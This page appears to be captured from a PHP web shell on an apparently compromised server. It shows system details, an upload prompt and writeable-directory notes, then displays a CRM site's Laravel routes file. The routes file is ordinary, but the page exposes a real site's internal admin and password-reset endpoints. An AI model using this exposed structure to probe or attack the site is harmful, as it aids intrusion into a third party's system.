KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/leadai/leadai.co.in/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/leadai/leadai.co.in/routes/web.php
<?php

use Illuminate\Support\Facades\Route;
use Illuminate\Support\Facades\Auth;
use App\Http\Controllers\AuthController;
use App\Http\Controllers\Admin\DashboardController;
use App\Http\Controllers\Admin\UserController;
use App\Http\Controllers\Admin\RoleController;
use App\Http\Controllers\Admin\PermissionController;
use App\Http\Controllers\Admin\ProfileController;
use App\Http\Controllers\Admin\LeadController;
use App\Http\Controllers\Admin\DealController;
use App\Http\Controllers\Admin\OrganizationController;
use App\Http\Controllers\Admin\SalesController;
use App\Http\Controllers\Admin\ReportsController;
use App\Http\Controllers\Admin\InvoiceController;
use App\Http\Controllers\Admin\stages\LeadStageController;
use App\Http\Controllers\Admin\stages\DealStageController;
use App\Http\Controllers\Admin\stages\LinkController;
use App\Http\Controllers\Admin\stages\PipelineController;
use App\Http\Controllers\Admin\stages\SourceController;
use App\Http\Controllers\Admin\ProductController;
use App\Http\Controllers\Admin\StudentController;
use App\Http\Controllers\Admin\TagController;
use App\Http\Controllers\Admin\PlanController;
use App\Http\Controllers\Admin\ModuleRenameController;
use App\Http\Controllers\Admin\ActivityController;
use App\Http\Controllers\Admin\TaskController;
use App\Http\Controllers\Admin\ShareLinkController;
use App\Http\Controllers\Admin\ContactController;
use App\Http\Controllers\Admin\TodoListController;
use App\Http\Controllers\Admin\NotificationController;
use App\Http\Controllers\FrontendController;
use App\Http\Controllers\CronjobController;



/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/



// admin url

// Route::get('/', [AuthController::class, 'login']);
// login Get POST
Route::get('/login', [AuthController::class, 'login']);
Route::post('/login', [AuthController::class, 'makeLogin'])->name('login');
Route::get('/logout', [AuthController::class, 'logout']);
Route::get('/plan/expired', [PlanController::class, 'expired'])->name('plan.expired');

Route::post('/save-fcm-token', [AuthController::class, 'saveFcmToken'])->name('save-fcm-token');

Route::group(['middleware' => 'auth','middleware' => 'singleDevice'], function () {
// Route::group(['middleware' => 'auth'], function () {
     Route::middleware(['planexpire'])->group(function () {

     Route::get('dashboard', [DashboardController::class, 'superadminDashboard'])->name('dashboard');

     //lead dashboard
     Route::group(['middleware' => 'role:view-lead-dashboard'],function () {

          Route::get('lead-dashboard-list', [DashboardController::class, 'leadDashboardList'])->name('lead-dashboard-list');
          Route::get('export-lead-dashboard', [DashboardController::class, 'exportLeadDashboard'])->name('export-lead-dashboard');





     });




     Route::group(['middleware' => 'role:view-lead'],function () {
               //distributor
               Route::get('leads',[LeadController::class,'index']);
               Route::get('leads/details/{id}',[LeadController::class,'leadDetails']);
               Route::get('leads/list',[LeadController::class,'leadList'])->name('lead.list');
               Route::get('view-leads/{id}',[LeadController::class,'viewLead']);
               Route::post('change-lead-status',[LeadController::class,'chageLeadStatus']);
               Route::post('fetch-lead-user',[LeadController::class,'fetchLeadUser']);

               Route::group(['middleware' => 'role:add-lead'],function () {

               Route::post('/add-leads',[LeadController::class,'store'])->name('leads.store');
               Route::post('leads/adduser',[LeadController::class,'leadAddUser'])->name('leads.adduser');
               Route::post('leads/sourceUpdate/{id}',[LeadController::class,'sourceUpdate'])->name('leads.sourceUpdate');
               Route::post('leads/productUpdate/{id}',[LeadController::class,'productUpdate'])->name('leads.productUpdate');
               Route::post('leads/discussion/{id}',[LeadController::class,'discussionStore'])->name('leads.discussionStore');
               Route::post('leads/callstore/{id}',[LeadController::class,'callStore'])->name('leads.callStore');
               });
               //Route::post('add-leads',[LeadController::class,'storeLead']);

               Route::group(['middleware' => 'role:edit-lead'],function () {
                    Route::get('leads/edit-lead/{id}',[LeadController::class,'editLead'])->name('leads.edit');
                    Route::post('leads/edit-lead/{id}',[LeadController::class,'update'])->name('leads.update');
               });
               Route::post('leads/update-notes',[LeadController::class,'noteStore'])->name('leads.update-notes');

               Route::get('leads/product-delete/{lead_id}/{product_id}',[LeadController::class,'productDestroy'])->name('leads.productDelete');
               Route::get('leads/source-delete/{lead_id}/{product_id}',[LeadController::class,'sourceDestroy'])->name('leads.sourceDelete');
               Route::get('leads/call_delete/{lead_id}/{product_id}',[LeadController::class,'callDestroy'])->name('leads.callDelete');

               Route::group(['middleware' => 'role:edit-lead'],function () {
                    Route::post('leads/delete',[LeadController::class,'leadDelete'])->name('leads.delete');
                    Route::post('leads/lead-delete-multiple',[LeadController::class,'deleteMultiple']);
                    Route::get('leads/user_delete/{id}',[LeadController::class,'lead_user_delete'])->name('leads.user_delete');
                    Route::get('leads/discussion_delete/{lead_id}/{id}',[LeadController::class,'discussionDelete'])->name('leads.discussion_delete');

                    Route::post('leads-delete-multiple',[LeadController::class,"deleteMultiple"]);
               });

               Route::get('export-leads',[LeadController::class,'export']);
               Route::post('import-leads',[LeadController::class,'import']);
               Route::get('reset-leads-password/{id}',[LeadController::class,"resetPassword"]);
               Route::post('reset-leads-password',[LeadController::class,"updatePassword"]);
          });

          //  deals
     Route::group(['middleware' => 'role:view-deal'],function () {
          //restaurant
          Route::get('/deals',[DealController::class,'index']);
          Route::get('leads/task-list',[TaskController::class,'leadTaskList']);
          Route::post('change-task-status',[TaskController::class,'changeTaskStatus']);

          Route::post('deals/update-notes',[LeadController::class,'noteStore'])->name('deals.update-notes');


          Route::post('delete-task',[TaskController::class,'taskDelete']);
          Route::get('leads/task-delete/{lead_id}/{task_id}',[TaskController::class,'deleteTaskDetaisl']);
          Route::get('deals/task-delete/{lead_id}/{task_id}',[TaskController::class,'deleteTaskDetaisl']);
          Route::group(['middleware' => 'role:edit-deal'],function () {
                    Route::get('edit-task/{id}',[TaskController::class,'editTask'])->name('task.edit');
                    Route::post('edit-task/{id}',[TaskController::class,'update'])->name('task.update');
               });

               Route::group(['middleware' => 'role:edit-deal'],function () {
                    Route::get('deals/task-list',[TaskController::class,'dealTaskList']);
                    Route::post('change-task-status',[TaskController::class,'changeTaskStatus']);


                    Route::post('delete-task',[TaskController::class,'taskDelete']);
               });

     });



     //stages
     Route::group(['middleware' => 'role:view-stage'],function (){

          Route::get('pipeline',[PipelineController::class,'index']);
          Route::post('add-pipeline',[PipelineController::class,'store']);
          Route::post('delete-pipeline',[PipelineController::class,'delete']);

          Route::get('lead-stage',[LeadStageController::class,'lead_list']);
          Route::post('add-lead-stage',[LeadStageController::class,'addLeadStage']);
          Route::post('delete-leadstage',[LeadStageController::class,'deleteLeadstage']);


          Route::get('deal-stage',[DealStageController::class,'deal_list']);
          Route::post('add-deal-stage',[DealStageController::class,'addDealStage']);
          Route::post('delete-dealstage',[DealStageController::class,'deleteDealstage']);

          Route::get('source',[SourceController::class,'source_list']);
          Route::post('add-source',[SourceController::class,'addSource']);
          Route::post('delete-source',[SourceController::class,'deleteSource']);

          //Route::get('links',[LinkController::class,'links_list']);
          //Route::post('add-links',[LinkController::class,'addLink']);
          //Route::post('delete-link',[LinkController::class,'deleteLink']);

     });


     //products
     Route::group(['middleware' => 'role:view-product'],function (){
          Route::get('products',[ProductController::class,'index']);
          Route::group(['middleware' => 'role:add-product'],function (){
               Route::get('add-products',[ProductController::class,'add']);
               Route::post('add-products',[ProductController::class,'store']);
          });

          Route::group(['middleware' => 'role:edit-product'],function (){
               Route::get('edit-products/{id}',[ProductController::class,'edit']);
               Route::post('edit-products',[ProductController::class,'update']);
          });

          Route::group(['middleware' => 'role:delete-product'],function (){
               Route::post('delete-product',[ProductController::class,'delete']);
               Route::post('product-delete-multiple',[ProductController::class,'deleteMultiple']);
          });

          Route::group(['middleware' => 'role:export-product'],function (){
               Route::get('export-products',[ProductController::class,'export']);
          });
          Route::group(['middleware' => 'role:import-product'],function (){
               Route::post('import-products',[ProductController::class,'import']);
          });

     });

     //students
     Route::get('students',[StudentController::class,'index']);


     //organization


     Route::group(['middleware' => 'role:view-organization'],function (){
          Route::get('organizations',[OrganizationController::class,'index']);
          Route::get('view-organization/{id}',[OrganizationController::class,'viewOrganization']);
          Route::group(['middleware' => 'role:add-organization'],function (){

               Route::get('add-organization',[OrganizationController::class,'addOrganization']);
               Route::post('add-organization',[OrganizationController::class,'storeOrganization']);





          });

          Route::group(['middleware' => 'role:edit-organization'],function (){
                    Route::get('edit-organization/{id}',[OrganizationController::class,'editOrganization']);
                    Route::post('edit-organization',[OrganizationController::class,'updateOrganization']);
          });

          Route::group(['middleware' => 'role:delete-organization'],function (){
                    Route::post('delete-organization',[OrganizationController::class,'delete']);
                    Route::post('delete-multiple-organization',[OrganizationController::class,'deleteMultiple']);
          });

          Route::group(['middleware' => 'role:import-organization'],function (){
                    Route::post('import-organization',[OrganizationController::class,'import']);
          });

          Route::group(['middleware' => 'role:export-organization'],function (){
                    Route::get('export-organization',[OrganizationController::class,'export']);
          });

     });

     //users
     Route::group(['middleware' => 'role:view-user'],function (){
          Route::get('users',[UserController::class,'index']);

          Route::get('view-users/{id}',[UserController::class,'viewUser']);


          //Route::post('filter-company',[CompanyController::class,'filterCompany']);
          Route::post('search-users',[UserController::class,'searchCompany']);

          Route::get('export-users',[UserController::class,'export']);

          Route::get('reset-users-password/{id}',[UserController::class,"resetPassword"]);
          Route::post('reset-users-password',[UserController::class,"updatePassword"]);

          Route::group(['middleware' => 'role:add-user'],function (){
               Route::get('add-users',[UserController::class,'addUser']);
               Route::post('add-users',[UserController::class,'storeUser']);
               Route::post('import-users',[UserController::class,'import']);
          });
          Route::group(['middleware' => 'role:edit-user'],function (){
               Route::get('edit-users/{id}',[UserController::class,'editUser']);
               Route::post('edit-users',[UserController::class,'updateUser']);
          });
          Route::group(['middleware' => 'role:delete-user'],function (){
               Route::post('delete-users',[UserController::class,'delete']);
               Route::post('users-delete-multiple',[UserController::class,"deleteMultiple"]);
          });
     });






     Route::get('profile', [ProfileController::class, 'profile']);
     Route::get('edit-profile', [ProfileController::class, 'edit_profile']);
     Route::post('edit-profile', [ProfileController::class, 'save_edit_profile']);
     Route::get('change-password', [ProfileController::class, 'change_password']);
     Route::post('change-password', [ProfileController::class, 'save_change_password']);
     Route::post('two-factor-change', [ProfileController::class, 'twoFactorCheck']);
     Route::post('change-loggedin-school', [ProfileController::class, 'change_school_session'])->name('change-loggedin-school');
     // Profile end =


     //tag routes


     Route::group(['middleware' => 'role:view-tag'],function (){
               Route::get('tag',[TagController::class,'index']);
               Route::group(['middleware' => 'role:add-tag'],function (){
                    Route::get('add-tag',[TagController::class,'addTag']);
                    Route::post('add-tag',[TagController::class,'store']);
          });
          Route::group(['middleware' => 'role:edit-tag'],function (){
                    Route::get('edit-tag/{id}',[TagController::class,'edit']);
                    Route::post('edit-tag',[TagController::class,'update']);
               });

               Route::group(['middleware' => 'role:delete-tag'],function (){
                    Route::post('delete-tag',[TagController::class,'delete']);
               });
          });












     // End Roles & Permissions ==========================
     //country code
     Route::post('fetch-state',[OrganizationController::class,'fetachState']);
     Route::post('search-city',[OrganizationController::class,'searchCity']);
     Route::post('add-city',[OrganizationController::class,'addCity']);
     Route::get('fetch-city',[OrganizationController::class,'fetchCity']);


     //reports
     Route::get('download-excel-report',[ReportsController::class,'exportDownload']);
     Route::get('download-excel-deal',[ReportsController::class,'exportDownloadDeal']);



     Route::group(['middleware' => 'role:view-deal'],function () {

          Route::get('deals',[Dealcontroller::class,'index']);
          Route::get('deals/details/{id}',[Dealcontroller::class,'dealDetails']);
          Route::get('deals/list',[Dealcontroller::class,'dealList'])->name('dealss.list');
          Route::get('view-deals/{id}',[Dealcontroller::class,'viewLead']);
          Route::post('change-deal-status',[Dealcontroller::class,'changeDealStatus']);

          Route::group(['middleware' => 'role:add-deal'],function () {

          Route::post('/add-deals',[Dealcontroller::class,'store'])->name('deals.store');
          Route::post('deals/adduser',[Dealcontroller::class,'leadAddUser'])->name('deals.adduser');
          Route::post('deals/sourceUpdate/{id}',[Dealcontroller::class,'sourceUpdate'])->name('deals.sourceUpdate');
          Route::post('deals/productUpdate/{id}',[Dealcontroller::class,'productUpdate'])->name('deals.productUpdate');
          Route::post('deals/discussion/{id}',[Dealcontroller::class,'discussionStore'])->name('deals.discussionStore');
          Route::post('deals/callstore/{id}',[Dealcontroller::class,'callStore'])->name('deals.callStore');
          Route::post('deals/taskadd/{id}',[Dealcontroller::class,'taskadd'])->name('deals.taskadd');

          Route::post('deals/taskadd',[Dealcontroller::class,'taskadd']);
          });

          Route::group(['middleware' => 'role:edit-deal'],function () {
               Route::get('deals/edit-deal/{id}',[Dealcontroller::class,'editDeal'])->name('deals.edit');
               Route::post('deals/edit-deal/{id}',[Dealcontroller::class,'update'])->name('deals.update');
               });

               // Route::post('deals/convert-to-deal/{id}',[Dealcontroller::class,'convertToDeal'])->name('deals.convertToDeal');
          Route::post('deals/update-notes',[Dealcontroller::class,'noteStore'])->name('deals.update-notes');

          Route::get('deals/product-delete/{lead_id}/{product_id}',[Dealcontroller::class,'productDestroy'])->name('deals.productDelete');
          Route::get('deals/source-delete/{lead_id}/{product_id}',[Dealcontroller::class,'sourceDestroy'])->name('deals.sourceDelete');
          Route::get('deals/call_delete/{lead_id}/{product_id}',[Dealcontroller::class,'callDestroy'])->name('deals.callDelete');

          Route::group(['middleware' => 'role:delete-deal'],function () {
               Route::post('deals-delete-multiple',[Dealcontroller::class,"deleteMultiple"]);
               Route::post('deals/delete',[Dealcontroller::class,'dealDelete'])->name('deals.delete');
               Route::get('deals/discussion_delete/{lead_id}/{id}',[Dealcontroller::class,'discussionDelete'])->name('deals.discussion_delete');

          });

          Route::get('deals/user_delete/{id}',[Dealcontroller::class,'lead_user_delete'])->name('deals.user_delete');


          Route::get('export-deals',[Dealcontroller::class,'export']);
          Route::post('import-deals',[Dealcontroller::class,'import']);
     // Route::get('reset-deals-password/{id}',[Dealcontroller::class,"resetPassword"]);
          //Route::post('reset-deals-password',[Dealcontroller::class,"updatePassword"]);
          });

     Route::group(['middleware' => 'role:view-contact'],function () {
          //distributor
               Route::get('contacts',[ContactController::class,'index']);
               Route::get('add-contact',[ContactController::class,'addContact']);
               Route::post('add-contact',[ContactController::class,'storeContact']);
               Route::post('contact-delete-multiple',[ContactController::class,'contactMultipleDelete']);

               Route::get('edit-contact/{id}',[ContactController::class,'editContact']);
               Route::post('edit-contact/{id}',[ContactController::class,'updateContact']);
               Route::get('delete-contact',[ContactController::class,'contactDelete']);
               // Route::get('leads/details/{id}',[LeadController::class,'leadDetails']);
               // Route::get('leads/list',[LeadController::class,'leadList'])->name('lead.list');





     });







          Route::group(['middleware'=>'role:view-activity'],function(){
               Route::get("activity-logs",[ActivityController::class,'index']);
          });

          Route::group(['middleware'=>'role:view-link'],function(){
               Route::get('share-links/',[ShareLinkController::class,'index']);
               Route::get('export-links',[ShareLinkController::class,'export']);

               Route::group(['middleware'=>'role:add-link'],function(){
                    Route::get('add-share-links',[ShareLinkController::class,'addShareLink']);
                    Route::post('add-share-links',[ShareLinkController::class,'store']);
               });

               Route::group(['middleware'=>'role:edit-link'],function(){
                    Route::get('edit-links/{id}',[ShareLinkController::class,'edit']);
                    Route::post('edit-links',[ShareLinkController::class,'update']);
               });



               Route::group(['middleware'=>'role:delete-link'],function(){
                    Route::post('delete-links',[ShareLinkController::class,'delete']);
                    Route::post('share-delete-multiple',[ShareLinkController::class,'deleteMultiple']);

               });

               Route::group(['middleware'=>'role:view-role'],function(){
                    Route::get('roles', [RoleController::class, 'index']);
                    Route::get('view-role/{id}', [RoleController::class, 'show']);
                    Route::get('add-role', [RoleController::class, 'create']);
                    Route::post('add-role', [RoleController::class, 'store']);
                    Route::get('edit-role/{id}', [RoleController::class, 'edit']);
                    Route::post('edit-role/{id}', [RoleController::class, 'update']);
                    Route::get('delete-role/{id}', [RoleController::class, 'destroy']);
                    Route::get('permission/{id?}', [PermissionController::class, 'index']);
                    Route::get('add-permission/{role_id}', [PermissionController::class, 'create']);
                    Route::post('add-permission/{role_id}', [PermissionController::class, 'store']);
                    Route::get('delete-permission/{id}', [PermissionController::class, 'destroy']);
                    // Create New Permission
                    Route::post('add-new-permission', [PermissionController::class, 'add_new_permission']);
               });

          });


          Route::group(['middleware' => 'role:view-task'],function (){
               Route::get('leads/todo-list',[TodoListController::class,'index']);
               Route::get('add-todo',[TodoListController::class,'add']);
               Route::post('add-todo',[TodoListController::class,'store']);
               Route::get('edit-todo/{id}',[TodoListController::class,'edit']);
               Route::post('edit-todo',[TodoListController::class,'update']);
               Route::post('delete-todo',[TodoListController::class,'delete']);
               Route::post('todo-delete-multiple',[TodoListController::class,'multipleDelete']);
               Route::post('todo-status-change',[TodoListController::class,'statusChange']);
          });

          Route::post('leads/taskadd',[LeadController::class,'taskadd']);
          Route::post('leads/taskadd/{id}',[LeadController::class,'taskadd'])->name('leads.taskadd');
          Route::post('leads/convert-to-deal/{id}',[LeadController::class,'convertToDeal'])->name('leads.convertToDeal');



     });

     Route::group(['middleware'=>'role:view-plan'],function(){
          Route::get('upgrade-plan',[PlanController::class,'allPlan']);
          Route::post('purchase-plan',[PlanController::class,'store']);
     });



     Route::group(['middleware'=>'role:view-settings'],function(){
          Route::get('order-history',[PlanController::class,'orderList']);
          Route::get('get-invoice/{id}',[PlanController::class,'getInvoice']);
          Route::get('rename-module',[ModuleRenameController::class,'index']);
          Route::post('rename-module',[ModuleRenameController::class,'store']);

     });




     Route::post('update-noti-status',[NotificationController::class,'updateNotificationStatus']);
     Route::get('fetch-notification',[NotificationController::class,'fetchNotification']);
     Route::post('mark-all-read',[NotificationController::class,'markAllRead']);

     Route::get('notifications-list',[NotificationController::class,'notificationList']);
     Route::post('delete-notification',[NotificationController::class,'deleteNotification']);
     Route::post('notification-delete-multiple',[NotificationController::class,'notificationMultipleDelete']);


});

//web routes
Route::get('/',[FrontendController::class,'index']);
Route::get('contact',[FrontendController::class,'contact']);
Route::get('terms',[FrontendController::class,'terms']);
Route::get('privacy',[FrontendController::class,'privacy']);

Route::get('lead-share-link',[FrontendController::class,'shareLink']);
Route::get('/{company_name}/{slug}',[FrontendController::class,'dynamicUrl']);
Route::post('leadai/save-lead',[FrontendController::class,'saveLead']);
Route::get('book-demo',[FrontendController::class,'bookDemo']);
Route::post('book-demo',[FrontendController::class,'storeDemo']);
Route::post('get-client-details',[FrontendController::class,'getClientDetails']);
Route::post('call-back',[FrontendController::class,'callBack']);

Route::post('recaptcha',[FrontendController::class,'recaptcha']);
// for cronjob url
Route::get('dueTaskMail',[CronjobController::class,'dueTaskMail']);










Anon7 - 2021